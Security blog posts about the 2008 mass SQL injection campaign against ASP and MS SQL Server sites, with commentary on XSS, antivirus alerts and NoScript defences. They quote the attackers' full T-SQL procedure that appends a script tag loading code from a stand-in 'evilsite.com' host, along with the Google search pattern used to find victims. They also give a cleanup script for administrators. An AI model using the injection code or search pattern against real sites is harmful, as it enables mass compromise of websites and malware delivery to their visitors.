Archive for the SQL Category

Some minutes after I published my post about the Flash unpatched vulnerability being exploited through mass SQL injections, popups of this kind started flying all over my notebook's desktop:
AVG Notification: Threat Detected in a Cache File
Since the "virus" was reported to be in my Firefox cache, and since Firefox has not the bad habit of randomly open cached files for execution, I guessed this "threat" was relatively harmless and AVG was just over-reacting to the mere "open for reading" action.
In facts, all my attempts to inspect the offending file using an hexadecimal editor were frustrated with "Access Denied" errors, and AVG on its side refused to give me any argumented detail about this alert.

Hence I typed

about:cache

in my awesome bar and quickly found a file matching the size of the "menace": it was

http://www.0x000000.com/rss.php

, i.e. the RSS feed of Ronald van den Heetkamp's "Hacker Webzine"...

So, was just a mere van den Heetkamp stink enough to scare the hell out of my cute (and frankly, absolutely virginal) anti-virus?
Actually the most likely culprit is Ronald's latest article about the hot topic of the day: since he likes to feature generous portions of source code extracted from infected sites, a signature-based engine like AVG have no choice but going wild.

Dear anti-virus vendors, can we have a "Relax, I use Firefox + NoScript" Ronald-friendly option, please?

Paypal XSSThe Register columns are getting better and better at web security related content.
In one single article, Dan Goodin managed to:

  1. Report an XSS hole in PayPal "safe" area (the wet dream of all XSS kiddies), enabling all sort of profitable scams from credential stealing to automated transactions riding the session of an authenticated user.
  2. Make a very valid point about extended validation SSL certificates being overrated, if not just an expensive joke, because the green bar is more than happy of "certifying" XSS compromised pages as legitimate (obviously): in other words, the perfect phishing works even better if you've got a modern, secure browser supporting EV SSL :)
  3. Deride McAfee's Hacker Safe one more time for its ridiculous stance on XSS vulnerabilities -- OK, that's just beating a dead horse...

Just a little addition of mine: despite PayPal's safe browser nonsense, the browser which can save you from XSS exploitation is only one.

In other news, Remond - The Independent Voice of the Microsoft IT Community, formerly known as the Microsoft Certified Professional Magazine, joined the party of the ASP/MS SQL Server sites SQL Injected to serve JavaScript malware.
Considering the wide coverage this epidemics enjoyed in the past week, I wonder what a "Certified Professional" usually reads aside Microsoft EULAs...

Tsunami
SANS is reporting a new wave of the mass SQL injection automated attack against MS ASP + MS SQL Server web sites.

To my surprise and disappoint, first commenter on the SANS diary entry wrote:

If you're using Firefox, exploited sites may reach out and "touch" you even before you look at cached pages, unless you've manually disabled "network.prefetch-next" in "about:config" Check out http://www.google.com/help/features.html#prefetch for more information.

Such a statement is either misleading or plain wrong (depending on what you mean by "touch"), since no remote code gets executed when pages are prefetched: the raw content is are just stored in cache for faster access, and cannot do any harm.
Furthermore, if you're using Firefox you're immune from exploits targeted to Internet Explorer vulnerabilities, which are a very common payload, and if you're running NoScript you won't be "touched" by any part of this attack: the initial malicious script of the chain is prevented from loading, and even if it wasn't, the plugin-based exploitation attempts would have been blocked anyway.

On a side note, I've updated the post-mortem cleanup SQL script I attached with no guarantee in my previous post for site administrators, after reader Scott reported that it was not working properly. Now it's debugged and "tested" on SQL Server 2005 (should work on other versions as well).

But again: if you own a web site, a serious code review to eliminate SQL injection opportunities is mandatory, unless you want your site to get reinfected on next round. It's happening right now...

Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

  1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
  2. What can I do if I'm the administrator of an infected site?
  3. What should I do as an user to protect myself?
  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

"Exploits of a Mom" by xkcd

  1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

    Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
    That said, the attackers are targeting IIS web servers which run ASP for a reason.
    Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This is the "secret sauce" which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology -- but it's a feature, not a bug (no irony intended this time). Anyway, the chances for such "powerful" DB technology of being used in conjunction with web servers different than IIS are very low.
    So, to recap:

    1. There's no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
    2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
    3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

    In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn't really grow enough security awareness to develop safe internet-facing applications.

  2. What should I do if I'm the administrator of an infected site?

    First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
    In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it's a merely temporary work-around -- the solution is fixing the code (learn from the United Nations tale).
    If you've got no clean database backup, you could try to recover by brutally reversing the SQL attack:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );

    it locates and removes it with

    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );

    Notice that I've not tested my code above, and I'm just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
    Update: now it's debugged and "tested" (i.e. it works) on SQL Server 2005 (thanks Scott), but the "use it at your own risk" disclaimer still applies.

  3. What should I do as an user to protect myself?

    OK, this one is the easiest :)

  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

    Even if the compromised site is in your whitelist, allowed to run JavaScript, the actual attack is thrown by a tiny IFrame or a script inclusion which just pulls the malicious code from an external server in control of the attacker (usually in a Chinese or Russian domain registered for this purpose) and surely not in your whitelist. This is quite reasonable: since SQL vulnerabilities are not suitable for injecting large chunks of malicious code, and such an attack cannot write Flash applets or JavaScript files on the filesystem of the compromised server, the attacker needs to download them from somewhere else.
    Therefore NoScript's fine grained script blocking prevents them from being loaded and effectively defeats the attack.

One of my early Hackademix posts was about SQL injection vulnerabilities exploited to deface the United Nations main web site. In a later update I explained how, rather than fixing their holes properly, the U.N. technicians deployed a pretty useless Web Application Firewall, masking the most obvious attack surface but keeping their sites just as vulnerable as before.

Now WebSense is reporting that both the United Nations and the UK Government have web pages affected by the infamous "Mass Malicious JavaScript Attack", which has been spreading since January across thousands of sites, bombing visitors with a chain of 8 client-side exploits triggered by an external script hosted on remote servers (e.g.

www.nihaorr1.com

).
These exploits leverage a Microsoft Internet Explorer 7 vulnerability patched last year (bad guys seem not to trust Windows Update effectiveness), “as well as [bugs in] other applications”. Well, since modern browsers embed a lot of "other applications" which are usually quite vulnerable, maybe a good idea (actually the only sane idea, other than reverting to Lynx) is switching to a safe web browser and -- shameless plug(in) -- making it even safer by preemptively blocking execution of malicious scripts and embedded content. On a side note, Opera's web site preferences couldn't help in cases like these, when the compromised site is probably among the ones you trust, allowed to run scripts; NoScript, instead, still blocks the external malicious code even if the main page is in your whitelist.

As previously explained by SANS, the

<script>

tag importing the malicious JavaScript code is inserted into the victim web pages through trivial SQL injection vulnerabilities, so much trivial that an automated tool has been used to find vulnerable sites through Google and infect them with the payload.
The default search pattern of this tool is

inurl:".asp" inurl:"a="

: in English, "those web pages developed with Microsoft Active Server Pages technology and accepting query string parameters". Unsurprisingly, this profile matches the original, still unpatched U.N. SQL injection; as I already said reporting the first accident, I believe crackers primarily target ASP sites (even though they are relatively few nowadays) because of the poor coding standards often shown by ASP coders, who usually have a Visual Basic desktop programming background and are less aware of web application security.

At any rate, some simple googling reveals that some U.N. sites are still infected, while UK Government sites have been "cleaned up".
The sad truth, though, is that even those "clean" sites are still vulnerable, hence they could be reinfected at any time: some people just never learn...

Bad Behavior has blocked 1261 access attempts in the last 7 days.